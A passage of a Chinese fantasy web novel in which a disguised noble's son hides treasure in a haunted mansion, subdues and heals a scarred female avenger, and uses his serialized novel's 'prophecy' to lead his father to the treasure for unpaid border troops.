“是啊!此话本如今在军中流传甚广,兄弟们闲暇时都争相传阅。里面不仅情节引人入胜,更奇的是:
每每能预言吉凶,洞悉先机!简直如同神人!若能得见一面,真乃三生有幸!”
江撼岳也点了点头,虎目中露出一丝钦佩:
“此人才华横溢,更兼心系社稷,多次暗中相助,确是我大夏之福!凡儿,你常在京城,可曾听闻过此人的些许风声?”
他看向一直沉默不语的江凡。
江凡心里正琢磨着怎么把系统空间里那堆烫手山芋合理拿出来,闻言连忙放下筷子,摇头回复:
“爹,诸位叔伯,孩儿整日里…呃,游手好闲,结交的都是些狐朋**,哪能认识这等奇人?
这话本…孩儿倒是看过几眼,文绉绉的,看不太懂,不如…不如百花楼的花魁唱的小曲儿有意思。”
他故意摆出纨绔子弟的嘴脸,心中却暗道:逍遥公子本尊就在你们面前啃咸菜呢!
众人见他这般模样,都笑了起来,只当他是少年心性,不再多问,话题又转到了军务和叛军善后事宜上。
江凡听着父亲和将领们为钱粮愁眉不展,心中很不是滋味。
那堆积如山的财宝就在系统空间里,却苦于没有合适的理由拿出来。
直接说是自己抢的?那岂不是暴露系统空间?
怀璧其罪,现在实力还是远远不够!
他越想越觉得烦躁,加之确实没什么胃口,便起身道:
“爹,诸位叔伯,你们慢用。孩儿有些乏了,想出去透透气。”
江撼岳只当儿子连日奔波确实累了,点了点头:
“去吧,早些歇息。明日还要商议押解叛首回京之事。”
江凡行礼退出帅帐。
夜晚的边关,寒风凛冽,星月无光。
他信步在寂静的营区内走着,看着那些在寒风中抱着兵器、蜷缩在篝火旁取暖的士兵,心中那份躺平的念头,第一次产生了动摇。
这些将士,为了保家卫国,在这里受苦挨饿,而自己坐拥巨富,却只能眼睁睁看着?
不行!
必须想办法把钱粮送出去!
但要做得天衣无缝!
要尽快找个合适的地方,将财宝藏起来,然后通过话本提示,让老爹带人拿出来!
他找了个僻静角落,迅速易容成
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一个相貌普通的本地樵夫模样。
收敛气息溜出了军营,进入了紧邻镇南关的的南疆小城——灰岩城。
此时的灰岩城,残垣断壁随处可见,一派萧索。
江凡在街上漫无目的地走着,目光扫过两旁破败的店铺和民居,寻找着合适的目标。
走了约莫一炷香的功夫,他在一个街角看到一个面容慈祥的白发老翁。
他走上前,拱了拱手搭讪道:
“老丈,这么晚了还不睡觉?”
老翁叹了口气说道:
“睡不着啊!俺四个娃**三个,剩下一个也几个月没发军饷了...”
听到这话,江凡心中更不是滋味,于是从储物戒拿出一两银子塞给老翁:
“老丈,这是晚辈的一点心意,你拿着。”
“这如何使得...”
看到一两银子,老翁虽然心动,但无功不受禄,让他有些纠结。
江凡不由分说将银子塞进他手中,然后说道:
“老丈你拿着吧,这城里…可有空着的大些的院子出租?我想找个地方落脚,做点小本买卖。”
老翁抬起头,浑浊的眼睛打量了江凡一番,叹了口气:
“后生,这兵荒马乱的,哪还有什么生意哦。空院子倒是有一处,是没人要的凶宅,邪门得很,谁敢住啊?”
“凶宅?”
江凡心中一动,脸上露出好奇和不信,
“老丈说笑了,这世上哪有什么鬼怪?”
老翁见他不信,压低声音,神秘兮兮地道:
“后生,你可别不当真!城西头那栋最大的‘李府’,前朝一个告老官员修的,气派得很!可邪门了!连着三任主人,搬进去不到半年,都莫名其妙暴毙了!
死状那叫一个惨哟!最后一个,还是咱们城里王屠户,胆大包天不信邪,非要便宜买下,结果你猜怎么着?
第七天晚上,就被人发现浑身是血死在床上!官府查了半年,屁都没查出来!从此再没人敢靠近那鬼地方!都说里面住着专**心的恶鬼哩!”
凶宅?
连续暴毙?
江凡听得眉头微挑,这倒是有点意思。
越是这种地方,越不会有人去,正是藏东西的好去处!
不过…老翁说的煞有介事,万一真有什么蹊跷,自己把财宝藏进去,被人‘黑吃黑’了可就不妙了。
得先去探探虚实!
第106章 你是什么人
江凡谢过老翁,按照指点,朝着城西走去。
越往西走,越是荒凉。
终于,在一处偏僻的街巷尽头,他看到了一座占地颇广、但围墙倾颓的府邸。
门楣上,‘李府’两个鎏金大字早已黯淡无光。
一阵阴风吹过,卷起地上的落叶,发出沙沙的声响,更添几分鬼气森森。
江凡运起【敛息诀】,将气息收敛到极致,翻过坍塌的院墙,落入府中。
院内杂草丛生,深可没膝,亭台楼阁大多破败不堪,蛛网密布,果然是一副久无人烟的荒废景象。
他放出神识,仔细探查。
前院、中庭、偏院…大多空空如也,只有些破败的家具和厚厚的灰尘。
然而,当他探查到后院一处相对完整、似乎是书房的位置时,神识却反馈回来一丝异样——那里,似乎过于干净了?
而且,隐隐有一缕淡淡的幽香飘出?
有古怪!
江凡心中警惕,悄无声息地朝着那间书房摸去。
书房的门虚掩着。
他轻轻推开,一股淡淡檀香的气息扑面而来。
月光透过窗棂洒入,可以看到屋内陈设简单。
但书架、书案却擦拭得颇为干净,与外面的荒芜形成鲜明对比!
书案上,甚至还摆放着文房四宝,砚台里的墨似乎还未干透!
最让江凡瞳孔骤缩的是——书案的一角,赫然放着几本线装书册!
封面上,《深宫秘恋》四个字迹,刺入他的眼帘!
竟然是他写的话本!
这里有人!
而且,是逍遥公子的读者?
一个住在凶宅里的、神秘的读者?
江凡心中巨震,下意识地伸手,想去拿起那本话本,看个究竟。
就在他的指尖即将触碰到书册的刹那——
“别动!”
一声带着愠怒的娇叱,骤然在他身后响起!
与此同时,一股凌厉的杀气瞬间锁定了他!
江凡心中一凛,缓缓收回手,转过身。
只见书房门口,不知何时,悄无声息地站立着一名女子。
这女子一身紧身的夜行黑衣,勾勒出窈窕动人的曲线,脸上罩着一层黑纱,只露出一双充满戒备与杀意的眸子。
她周身气息凝练,赫然是一位宗师初期的高手!
四目相对,空气仿佛凝固。
月光下,黑衣女子像是索命的幽魂,与这凶宅的环境完美融合。
江凡瞬间明白了!
那几任房主的暴毙,恐怕根本不是闹鬼,而是人为!
凶手,极有可能就是眼前这位神秘的黑衣女子!
她将这里当成了据点!
他心中念头飞转,面上却不动声色,反而挤出一个憨厚又带着点害怕的笑容,用樵夫的口音道:
“姑…姑娘…俺…俺是路过,看这宅子空着,想…想找个地方歇歇脚…没…没动你东西…”
黑衣女子目光锐利,上下打量着江凡易容后的普通面容和粗布衣裳,冷哼一声:
“歇脚?这凶宅也是你能歇的地方?不想死,就立刻滚出去!否则,休怪我心狠手辣!”
她的话语中带着威胁。
江凡心中冷笑,脸上却装出更加惶恐的样子,搓着手道:
“姑娘…这宅子…听说死过人,晦气得很,你一个姑娘家,怎么住这种地方?要不…你把这宅子卖给俺吧?俺胆子大,不怕鬼!价钱好商量!”
他故意试探。
果然,黑衣女子眼中寒光更盛:
“买宅子?就凭你?找死!”
话音未落,她身形一动,快如鬼魅,玉手并指如剑,直刺江凡咽喉!
招式狠辣,竟是存了一击必杀之心!
“哎哟!**啦!”
江凡怪叫一声,看似狼狈地向后一仰,险之又险地避开了这致命一击,巧妙地拉开了距离。
黑衣女子一击落空,眼中闪过一丝诧异,但杀心更炽!
她娇叱一声,身形再展,双掌翻飞,掌风凌厉,带着一股阴寒之气,笼罩向江凡周身大穴!
竟是某种颇为高明的掌法!
江凡心中已有计较。
这女子来历不明,心狠手辣,但修为毕竟不如自己。
他决定先擒下她,问个明白!
当下不再伪装,身形一晃,【浮光掠影
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】身法展开,如同泥鳅般在掌影中穿梭,每每于间不容发之际避开攻击,同时口中还不停调笑:
“啧啧,姑娘家家的,火气这么大可不好!动不动就打打杀杀,小心嫁不出去!”
黑衣女子见他身法诡异,滑不留手,自己全力攻击竟连衣角都沾不到。
又听他言语轻佻,更是气得柳眉倒竖,银牙紧咬:
“淫贼!看掌!”
掌风更急!
江凡见玩得差不多了,眼中精光一闪,看准一个破绽,身形陡然加速,右手闪电般探出,精准地扣向女子手腕脉门!
同时左手并指,点向她腰间软麻穴!
黑衣女子大惊失色,想要变招已是不及!
只觉手腕一麻,一股浑厚无比的真气瞬间侵入体内,封住了她的经脉!
她闷哼一声,浑身酸软,便**凡牢牢制住,动弹不得!
“你…你到底是什么人?!”
黑衣女子又惊又怒,美眸中充满了难以置信。
她堂堂宗师,竟被一个看似普通的‘樵夫’三两下制服?
此人修为,远在她之上!
江凡制住女子,心中松了口气,听到她问话,嘿嘿一笑,故意用轻佻的语气道:
“我?我就是个想买凶宅的倒霉蛋啊!姑娘,你这待客之道可不太友好啊!一见面就要打要杀的,看来得好好教育教育你才行!”
说着,他抬起空着的左手,作势就要朝着女子那被夜行衣紧紧包裹的翘臀拍去!
“你敢!!”
黑衣女子吓得花容失色,拼命挣扎,却哪里挣得脱?
眼看那‘魔掌’就要落下,她又羞又急,
“淫贼!恶徒!你杀了我吧!”
江凡的手在离她臀部寸许之地停住,看着她那副羞愤欲绝的模样,心中暗笑,却也收起了戏弄之心。
也就是他修为高深,要是实力不济,恐怕今天就折在这里了!
他正色道:
“好了,不逗你了。说吧,你是什么人?为何住在这凶宅?那几任房主,是不是你杀的?”
他语气转为严肃,丝毫没有刚刚嬉皮笑脸的纨绔样。
第107章 看你怎么选
黑衣女子咬紧下唇,倔强地扭过头,一言不发。
江凡皱了皱眉,伸出另一只手,想去揭开她脸上的黑纱:
“不肯说?那就让我看看,你到底长得何等模样,见不得人…”
“不要!”
黑衣女子发出一声惊恐的尖叫,拼命扭头躲避!
但江凡动作更快,指尖一勾,那层面纱便被轻轻掀开一角。
月光下,一张脸映入江凡眼帘。
刹那间,江凡的动作僵住了,呼吸也为之一滞!
那是怎样的一张脸啊!
左边的脸颊,肤光胜雪,轮廓完美,堪称绝色。
然而,右边的脸颊,却有一道狰狞无比的暗红色疤痕,从眼角一直延伸到下颌,显得触目惊心!
疤痕显然是旧伤,但依旧能想象出当初受伤时的惨烈。
黑衣女子察觉到江凡的停顿和目光,身体剧烈地颤抖起来,眼中瞬间盈满了**、痛苦和绝望的泪水,她猛地闭上眼,声音带着哭腔和嘶哑:
“看够了没有?!满意了?!是不是很丑?!很恶心?!现在你满意了?!杀了我吧!求求你,杀了我!”
江凡看着这张一半天使、一半魔鬼的脸,看着她眼中那深不见底的痛苦,心中的戏谑瞬间烟消云散。
他缓缓松开了扣住她脉门的手,也收回了想要揭开全部面纱的手。
女子失去支撑,软软地瘫坐在地上,双手捂着脸,压抑的抽泣声在寂静的凶宅中响起,充满了无助和悲凉。
江凡沉默了片刻,叹了口气,在她面前蹲下,声音放缓了许多:
“对不起…我…我不是有意的。这疤…是怎么来的?”
黑衣女子只是哭泣,不肯回答。
江凡看着她瑟瑟发抖的肩膀,又看看书案上那本《深宫秘恋》,心中隐隐有了一丝猜测。
他轻声道:
“那几任房主…他们,是不是…对你做了什么?”
这句话,仿佛触动了女子心中最深的痛楚和仇恨!
“他们…都该死!”女子抬起泪眼,眸中燃烧着刻骨的仇恨,
“我姐姐…她那么善良,那么美…却被那个姓李的狗官强行掳去,要纳为妾室!姐姐誓死不从,竟被他们…活活折磨致死!
我去官府告状,反被诬陷,投入大牢!那狱卒…那狱卒见我容貌…想行不轨!我…我咬断了他的耳朵,用碎瓷片划花了这张脸!才保住了清白…”
她抚摸着自己脸上的疤痕,指尖都在颤抖。
“后来…是一位神秘前辈救了我,传我武功,让我有了报仇的力量。可…可还没等我学成,恩师…恩师也被他的仇家寻上门杀害了…”
她的声音充满了无尽的悲凉,
“我苦练数年,终于手刃了李狗官!可姐姐再也回不来了…我无处可去,想起姐姐死在这宅子,便回到这里…
我只想守着姐姐死掉的地方,清清静静地过日子…可那些住进来的人!看到我的脸,要么吓得屁滚尿流,要么…
要么就像那王屠户,以为我是软弱可欺的孤女,想行禽兽之事!他们不该死吗?!我杀他们,有错吗?!”
她猛地抬起头,死死盯着江凡,仿佛在寻求一个答案,又像是在宣泄积压多年的痛苦。
江凡静静地听着,没有打断。
他能感受到女子话语中那滔天的冤屈和深入骨髓的恨意。
乱世之中,弱肉强食,律法崩坏,一个弱女子遭遇如此厄运,除了以暴制暴,似乎真的没有第二条路可走。
他轻轻叹了口气,声音平和了许多:
“冤有头,债有主。你报仇,天经地义。但牵连无辜,或是因他人觊觎而滥杀,终究是坠入了魔道。
你师父传你武功,是让你报仇雪恨,恐怕不是让你变成只知杀戮的复仇恶鬼吧?”
女子闻言,浑身一震,眼中的疯狂恨意稍稍褪去。
她低下头,喃喃道:
“我…我不知道…除了**,我还能做什么…我这张脸…天下虽大,哪有我的容身之处…”
话语中充满了无尽的凄凉和自卑。
江凡看着她这副模样,心中一动,开口道:
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“你的脸…或许,还有得救。”
女子猛地抬头,美眸中爆发出难以置信的光芒:
“你…你说什么?你…你能治好我的脸?!”
这道疤是她心中最深的痛,是耻辱的印记,也是隔绝她与正常世界的天堑!
江凡点了点头,语气笃定:
“嗯。我有把握。不过,有两种方法,看你怎么选。”
“哪两种?快说!”
女子急切地追问,仿佛抓住了救命稻草。
“慢的一种,”江凡从系统空间取出一个白玉小盒,打开,里面是散发着沁人药香的绿色膏体,
“这是我秘制的‘玉肌生肤膏’,你每日早晚净面后涂抹于疤痕处,辅以轻微按摩,促进吸收。
短则两月,长则三月,疤痕自可平复,肌肤恢复如初,且更为细腻光滑。此法温和,无甚痛苦。”
女子看着那药膏,眼中闪过渴望,但随即又问道:
“那…快的一种呢?”
“快的?”江凡收起药膏,神色严肃起来,
“快的,就比较痛苦了。需用利刃,将你疤痕处的死肉、增生组织彻底剜除,见新血为止。
然后以金针度穴,刺激生机,再辅以上等金疮药和我的独门真气催愈,加速血肉生长。过程如刮骨疗毒,痛彻心扉。
但见效极快,多则三日,少则两日,便可结痂脱落,长出粉嫩新肉,再配合药膏,半月之内,基本能恢复。只是…此法非常人所能忍受,且有轻微风险。”
“我选快的!”
女子几乎没有任何犹豫,斩钉截铁地说道。
她受够了这张鬼脸带来的**和恐惧,哪怕再痛苦,她也愿意承受!
她目光灼灼地看着江凡,
“可是…我凭什么相信你?相信你有这等鬼神莫测的医术?”
毕竟,江凡看起来太年轻了。
江凡耸了耸肩,一脸无所谓:
“信不信由你。你可以选择慢的,安全稳妥。或者…你也可以现在离开,就当今晚从未见过我。”
他故意以退为进。
第108章 是人还是仙
女子死死盯着江凡的眼睛,那双清澈的眸子里,没有淫邪,没有欺骗,只有平静和自信。
回想起刚才被他轻易制服的恐怖实力,以及他制服自己后并未用强,反而耐心听自己倾诉、甚至愿意出手救治的举动…
她咬了咬牙,心中做出了决断。
以此人的修为和手段,若真想对她不利,根本无需如此大费周章!
“我信你!”女子深吸一口气,眼神变得坚定,
“请公子施术!无论多痛,我都忍得住!只求…只求能恢复容貌!”
她顿了顿,又补充道,
“公子救我,需要我付出什么代价?只要我有的,绝不推辞!”
江凡摆了摆手,淡然道:
“代价?不必了。我救你,一是不忍见你因容貌而自弃,二是…希望你能答应我一件事。”
“公子请讲!”
“伤好之后,放下屠刀,莫再滥杀无辜。冤有头,债有主,若真有该杀之人,也需谋定后动,而非逞一时之快。可能做到?”
江凡目光如炬,看着她的眼睛。
女子身躯微颤,与江凡对视片刻,缓缓点头,声音低沉却坚定:
“我…冷月寒,在此立誓!若得公子救治,恢复容貌,必洗心革面,若非十恶不赦之徒或主动寻衅,绝不再妄开杀戒!如有违誓,天诛地灭!”
她报出了自己的名字,意味着一种信任和承诺。
“冷月寒,好名字。”江凡微微颔首,
“既然如此,事不宜迟,我们这就开始。你且盘膝坐好,放松心神。”
冷月寒依言在书房地面上盘膝坐下,闭上双眼。
江凡走到她身后,出手如电,连点她颈后、肩井数处大穴,暂时封闭了她的痛觉神经。
冷月寒只觉身体一麻,随后便失去了对上半身的知觉,心中对江凡神乎其技的点穴手法更是惊骇。
江凡取出系统兑换的薄刃小刀和银针,又拿出最好的金疮药。
他凝神静气,神医技能全力发动,目光变得无比专注。
他小心翼翼地用刀尖,沿着那道狰狞疤痕的边缘,精准而迅速地切割下去,剔除死肉和增生组织。
动作行云流水,仿佛不是在动手术,而是在完成一件精美的艺术品。
即使封闭了痛觉,冷月寒也能感觉到刀锋划过皮肤的触感,以及血液流出的温热。
她紧紧咬着下唇,一声不吭。
江凡手法极快,不到一炷香的功夫,便已清理完毕,伤口处露出鲜红的嫩肉。
他立刻运针如飞,数根银针刺入伤口周围的穴位,丝丝精纯的真气渡入,刺激着细胞的活性。
随后,他将系统出品的特效金疮药均匀撒在伤口上,药粉遇血即凝,形成一层透明的保护膜。
做完这一切,他才解开了冷月寒的穴道。
痛感涌来,但远比想象中轻微,更多的是伤口处传来的麻痒和清凉感,那是新肉在生长的征兆。
“好了。这三日,伤口切勿沾水,每日我会来为你换一次药。三日后,便可拆线…呃,是等痂自然脱落。”
江凡擦了擦额角并不存在的汗,轻松说道。
冷月寒缓缓睁开眼,伸手想要触摸脸颊,却又不敢。
她挣扎着想要起身道谢。
“别动!好好休息!”江凡按住她的肩膀,
“我还有点事要办,你就在此调息,无论听到什么动静,都不要出来查看。明白吗?”
冷月寒连忙点头:“月寒明白!公子请自便!”
因为伤口的原因,说话有些含糊不清。
江凡点点头,转身走出了书房,来到了杂草丛生的后院。
他神识扫过,确认四周无人窥探后,心念一动——
【系统,取出所有财宝粮草!】
刹那间,原本空旷的后院,凭空出现了一座座‘小山’!
金光闪闪的金锭银元宝、璀璨夺目的珠宝玉石、一袋袋饱满的粮食…在月光下散发着诱人的光泽!
几乎将整个后院堆满!
系统空间的一千立方米,容纳这些物资绰绰有余!
如此神乎其神的手段,自然没有瞒过书房内正运功调息的冷月寒。
她透过门缝,看到后院那凭空出现的、堆积如山的财宝,惊得差点叫出声来!
连忙用手捂住嘴,美眸瞪得溜圆,心中掀起了惊涛骇浪!
隔空取物?
不!
是凭空
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造物?
这位公子…他到底是人…是仙?
此刻,她心中对江凡的最后一丝疑虑也烟消云散。
如此通神的手段,那对方更不可能欺骗自己。
江凡故意展示这‘神迹’,既有震慑之意,让她不敢对这批财宝起贪念,也是一种变相的信任。
他走到后院门口,对着书房方向传音道:
“冷姑娘,这些钱财粮草,乃不义之财,我欲将其用于犒劳边军,解燃眉之急。暂且存放于此,明日便会有人来取。
期间,烦请姑娘代为看管一二。若姑娘生计困难,可自取少许金银度日,但切记,莫要贪多,更不可走漏风声!”
冷月寒闻言,心中一震,连忙传音回道:
“公子放心!月寒在此立誓,绝不动此间一针一线!定当寸步不离,为公子守好这批物资!”
她的声音带着无比的郑重。
此刻,她已彻底**凡的手段和胸怀所折服。
拥有如此神通,却心系边军将士,此人绝非池中之物!
江凡满意地点点头。
他回到屋内,找了个相对干净的偏殿,盘膝坐下,却并未立即入定。
他心念再动,从系统兑换出一盏油灯、笔墨纸砚。
就着昏黄的灯光,他开始在地面上‘书写’《深宫秘恋》的最新章节!
这一次,他写得更加‘神棍’。
书中借国师之口,‘预言’叛军搜刮的不义之财,因触怒上天,已遭神罚。
被神秘力量转移至南疆某城一座凶宅的后院之中,静待有缘人前去取用,以解边军之困。
他将凶宅的位置特征描述得极为详细,几乎等于直接给出了坐标。
写完提交,看着人气值再次跳动上涨,他嘴角勾起一抹笑意。
这样一来,明天父亲收到提示,前来取宝,就顺理成章了。
做完这一切,他才真正开始打坐调息,恢复今日消耗的心神和真气。
……
时间在寂静中流逝。
当天边泛起第一抹鱼肚白时,江凡缓缓睁开双眼,精光内敛。
他起身,准备离开前去通知父亲。
然而,他刚推开偏殿的门,就愣住了。
第109章 借宿了一宿
只见晨曦微光中,冷月寒正静静地站在院中,似乎已等候多时。
她脸上的纱布已经取下,虽然还能看到粉红色的新肉痕迹,但那道狰狞的疤痕已然平复,轮廓恢复了大半。
原本被毁掉的绝色容颜,已初现端倪!
假以时日,必能恢复如初,甚至更胜往昔!
更让江凡心惊的是,她手中,竟然也捧着一本崭新的《深宫秘恋》话本!
显然是刚刚投放出来的最新章节!
冷月寒看到江凡出来,美眸中爆发出激动甚至带着狂热的光芒!
她快步上前,声音颤抖:
“公子!您…您就是…就是逍遥公子?!对不对?!”
她扬了扬手中的话本,又指了指后院那堆积如山的财宝,
“这些话本里的预言…这些钱财…昨夜您那神乎其神的手段…除了逍遥公子,还有谁能做到?!”
江凡心中暗叹一声,果然还是瞒不过有心人。
不过,既然被她猜到了,再否认反而显得虚伪。
他看了看冷月寒那充满期盼和敬仰的眼神,微微点了点头,坦然承认:
“不错,我便是逍遥公子。此事,还望姑娘代为保密。”
得到确认,冷月寒激动得浑身发抖,她猛地单膝跪地,抱拳道:
“公子!月寒…月寒恳请公子,允许月寒追随左右!为奴为婢,绝无怨言!”
她抬起头,眼中闪烁着坚定的光芒,
“月寒自幼便喜读诗书,公子话本中的济世之策、锦绣文章,月寒每每读之,皆拍案叫绝,心向往之!
昨日得见公子**,更知公子乃心怀天下、重情重义的真豪杰!月寒愿效犬马之劳,只求能常伴公子身边,略尽绵力!”
她这番话情真意切,显然并非一时冲动。
江凡被她这突如其来的投诚弄得有些措手不及,苦笑道:
“冷姑娘,你这是何苦?实不相瞒,我乃镇国公世子,已有婚约在身,日后…怕是难得自由。你跟着我,未必是好事。”
他再次搬出婚约,想让她知难而退。
谁知冷月寒却坚定地摇头:
“月寒不敢奢求名分!只求能追随公子!哪怕是为公子端茶送水、铺纸磨墨,月寒也心甘情愿!
公子是做大事的人,身边总需有人打理琐事、奔走效力!月寒虽武功低微,但也略通文墨,愿为公子前驱!”
她的态度坚决得令人动容。
江凡看着她那决然的眼神,知道此女性情刚烈,认定的事恐怕难以改变。
他叹了口气,心中权衡利弊。
此女身世可怜,性情果决,修为尚可,对自己又极为崇拜,若能收为己用,倒不失为一个助力。
而且,她是目前唯一猜出自己逍遥公子身份的人,放在身边,反而比放任在外更安全。
想到这里,他伸手虚扶:
“罢了,你既执意如此,便随你吧。不过,我逍遥公子的身份,乃绝密中的绝密,除你之外,再无第三人知晓!你若跟随我,需严守此秘,否则…”
他语气转冷,带着一丝警告。
冷月寒大喜过望,连忙叩首:
“月寒发誓!绝不泄露公子身份半分!若有违逆,天打雷劈,不得好死!”
“起来吧。”江凡语气缓和下来,
“我稍后便回军营,告知父亲财宝之事。你且在此等候。待物资取走之后,你可来镇南关寻我。
到时…便说昨夜我偶遇一落难女子,相助之后,在其家中借宿一宿便可。”
他得给自己夜不归宿找个合理的借口,同时也给了冷月寒一个接近自己的由头。
冷月寒冰雪聪明,立刻领会,俏脸微红,低声应道:
“月寒明白!一切但凭公子安排!”
江凡点点头,不再多言,从她手中接过话本,然后身形一闪,便消失在晨曦之中,朝着镇南关大营方向疾驰而去。
冷月寒站在原地,望着江凡消失的方向,久久不愿收回目光。
她轻轻抚摸着自己光滑了许多的脸颊,又看了看后院那惊人的财宝,嘴角缓缓勾起一抹充满希望和憧憬的笑容。
逍遥公子…江凡…
原来,传说的纨绔世子,竟是这般惊才绝艳、深藏不露的人物!
能追随如此人物,她冷月寒…此生无憾矣!
晨曦微露,镇南关大营。
江凡施展身法,悄无声息地潜回自己的营帐,刚换下那身樵夫行头,准备躺下装睡,帐外就传来了父亲江撼岳的怒吼:
“江凡!你个混
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账小子!给老子滚出来!”
江凡心里咯噔一下,暗道不好!
老爹怎么起这么早?
他硬着头皮,整理了一下衣袍,掀开帐帘,脸上堆起笑容:
“爹?您…您这么早找孩儿有事?昨晚庆功酒喝得有点多,头还晕着呢…”
话音未落,江撼岳一个箭步冲上前,一把揪住他的衣领,虎目圆瞪,唾沫星子几乎喷到他脸上:
“喝多了?放**屁!老子问你,你昨晚死哪儿去了?!营门守卫说子时见你出去,至今方归!
你给老子老实交代,是不是又溜出去鬼混了?这兵荒马乱、强敌环伺的地方,你也敢夜不归宿?老子看你是不想活了!”
他气得浑身发抖,一方面是担心儿子安危,另一方面更是恨铁不成钢!
刚觉得儿子懂事了,转眼又原形毕露?
江凡被老爹吼得耳朵嗡嗡作响,心里叫苦不迭,只能支支吾吾道:
“爹…爹您轻点。孩儿…孩儿没去鬼混,就是…就是心里闷得慌,出去…出去散了散心…”
“散心?散到天亮才回来?!”
江撼岳明显不信,手上力道又加重了几分,
“散心能散得一身…嗯?”
他忽然抽了抽鼻子,似乎在江凡身上嗅到了什么,脸色变得更加难看,
“你身上…怎么有股…胭脂水粉味儿?!说!是不是去找女人了?!”
江凡心中暗赞老爹鼻子真灵!
肯定是冷月寒身上那淡淡的药香和女子体香残留了一些。
他正好顺水推舟,脸上露出被‘戳穿’的尴尬和讪笑,压低声音道:
“爹,您真是火眼金睛…孩儿…孩儿昨晚确实…确实遇到一位落难的妙龄女子,孤苦无依,甚是可怜…
孩儿一时心软,就、就帮她找了个住处,安顿了一下…聊得晚了,就在她那儿…借宿了一宿…”
他这话说得含糊其辞,最后‘借宿’二字更是暧昧不清,留给父亲无限的想象空间。
“你…你个逆子!!!”
江撼岳一听,果然彻底暴走,额头青筋暴起,另一只手扬起就要扇下来!
“周小姐还在京城等你!你竟敢在此地眠花宿柳?!老子今天非打死你个不肖子不可!”
第110章 什么狐媚子
眼看巴掌就要落下,江凡心知火候差不多了,再演下去真要挨揍了!
他猛地举起从冷月寒手中拿来的那本《深宫秘恋》最新章节,声音激动的喊道:
“爹!爹!先别打!大事!天大的好事!您看!逍遥公子又更新了!”
江撼岳的巴掌硬生生停在半空,下意识地接过话本,狐疑道:
“逍遥公子?他又说什么了?”
对于这位屡次创造奇迹的‘奇人’,他还是抱有几分敬畏和期待的。
江凡连忙指着话本中被他刻意折起的一页,语速飞快地说道:
“爹!您看这里!逍遥公子预言,叛军搜刮的那些不义之财,因触怒上天,已遭神罚,被转移到了…到了灰岩城西,一座废弃的‘李府’凶宅后院!
静待有缘人取用,以解边军之困!上面连具体位置和特征都描述得一清二楚!爹!这是天赐良机啊!咱们的军饷粮草有着落了!”
“什么?!”
江撼岳浑身剧震,虎目圆睁,连忙一字一句地仔细阅读起来。
越看,他的呼吸越是急促,脸上的怒容逐渐被震惊和狂喜所取代!
话本中的描述,细节详实,方位明确,甚至连那宅院是“凶宅”、前几任主人暴毙的传闻都点了出来,由不得他不信!
“神人!真乃神人也!”
江撼岳激动得双手都有些颤抖,猛地抬头,目光灼灼地盯着江凡,
“凡儿!此话本…你从何处得来?!”
江凡早就想好了说辞:
“孩儿昨晚…呃,回来路上,在城门口一个早点摊旁捡到的!您应该也清楚,逍遥公子的话本都是随机发放的,孩儿捡到不稀奇!
爹,宁可信其有,不可信其无!咱们快去看看吧!万一去晚了,被旁人捷足先登可就坏了!”
“对!对!立刻就去!”
江撼岳此刻哪还顾得上追究儿子昨晚的风流韵事,满脑子都是那堆积如山的财宝粮草!
他一把将话本塞回江凡手里,转身对着中军大帐方向运足真气,发出一声石破天惊的怒吼:
“众将听令!点齐亲卫营!随本公爷出发!快!”
吼声如同惊雷,瞬间传遍整个大营!
刚刚起身的将士们被这突如其来的号令惊动,纷纷冲出营帐。
片刻之后,江撼岳亲自率领着五百名最精锐的亲兵,以及那两位皇宫供奉,直奔灰岩城西!
江凡自然紧随其后。
一行人浩浩荡荡闯入灰岩城,引得早起的小贩和居民纷纷侧目,避之不及。
按照话本指示,他们很快找到了那座荒废破败的‘李府’。
“将此地给老子团团围住!一只苍蝇也不准放出去!”
江撼岳下令,亲自带着江凡、两位供奉和几十名亲兵,踹开那扇摇摇欲坠的大门,冲了进去!
穿过前院荒芜的杂草,绕过破败的亭台,当众人踏入后院的那一刻——
所有人都被眼前的景象震撼得目瞪口呆,鸦雀无声!
只见宽阔的后院里,金光耀眼,珠光宝气!
一箱箱打开盖子的金锭银元宝堆积如山!
一袋袋饱满的粮食摞得像城墙一样高!
各种璀璨的珠宝玉石在晨曦下闪烁着诱人的光芒!
整个后院几乎被填满,视觉冲击力无与伦比!
“天啊…这…这都是真的?!”
“发财了!咱们发财了!”
“逍遥公子…简直是活神仙啊!”
短暂的死寂之后,是震耳欲聋的惊呼和狂喜的呐喊!
那些久经沙场、见惯了生死的悍卒们,此刻也激动得满脸通红,手足无措!
江撼岳虎躯剧震,一个箭步冲到一堆金砖前,拿起一块沉甸甸的金锭,用力捏了捏,又放在嘴里咬了一下,留下一个清晰的牙印!
是真的!
千真万确!
“哈哈!哈哈哈!天佑我边军!天佑我大夏!”
这位身经百战的老将,此刻竟激动得虎目含泪,仰天狂笑!
他猛地转身,重重一巴掌拍在江凡的肩膀上,力道之大,差点把江凡拍个趔趄,
“好小子!好小子!你这‘散心’散得好!散得妙啊!若不是你捡到这话本,老子就要与这天大财富失之交臂了!哈哈哈!”
江凡揉着发疼的肩膀,龇牙咧嘴地笑道:
“爹,这都是逍遥公子神机妙算,孩儿只是运气好罢了。”
“运道也是实力!快!还愣着干什么!给老子搬!全部搬回大营!小心点!一颗米粒都不准给老子洒了!”
江撼岳意气风发,大手一挥,声如洪钟!
将士们轰然应诺,如同打了鸡血
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般,开始搬运财宝粮草。
每个人脸上都洋溢着发自内心的笑容,连日来的阴霾和焦虑一扫而空!
趁着众人忙碌,江撼岳将江凡拉到一边僻静处,脸上的狂喜稍稍收敛,虎目中闪过一丝精光,压低声音问道:
“凡儿,你老实告诉爹!这些东西…跟你昨晚出去,到底有没有关系?”
他毕竟是**湖,喜悦过后,心中难免升起一丝疑虑。
这一切,未免太过巧合了!
儿子夜不归宿,第二天就‘恰好’捡到话本,带着他们找到这惊天财富?
江凡心中早有准备,脸上露出哭笑不得的表情:
“爹!您想哪儿去了?您觉得您儿子我有通天的本事,能一夜之间,神不知鬼不觉地把叛军大营里这么多财宝粮食弄到这凶宅里来?我要有这本事,早就成仙了!还用得着在这挨您骂?”
他摊摊手,一副‘您太看得起我了’的模样。
江撼岳盯着儿子的眼睛,看了半晌,见他不似作伪,再想想这任务的艰巨性,确实远超常理,哪怕是大宗师也绝难做到。
他心中的疑虑这才消散了大半,自嘲地笑了笑,拍了拍儿子肩膀:
“是爹想多了…看来,真是天意,是逍遥公子在暗中助我!此恩此德,我江撼岳没齿难忘!”
江凡心中暗松一口气,总算糊弄过去了。
财宝顺利运回大营,消息传开,整个边军欢声雷动!
江撼岳立刻下令,打开府库,按照名册,足额发放所有拖欠的军饷!
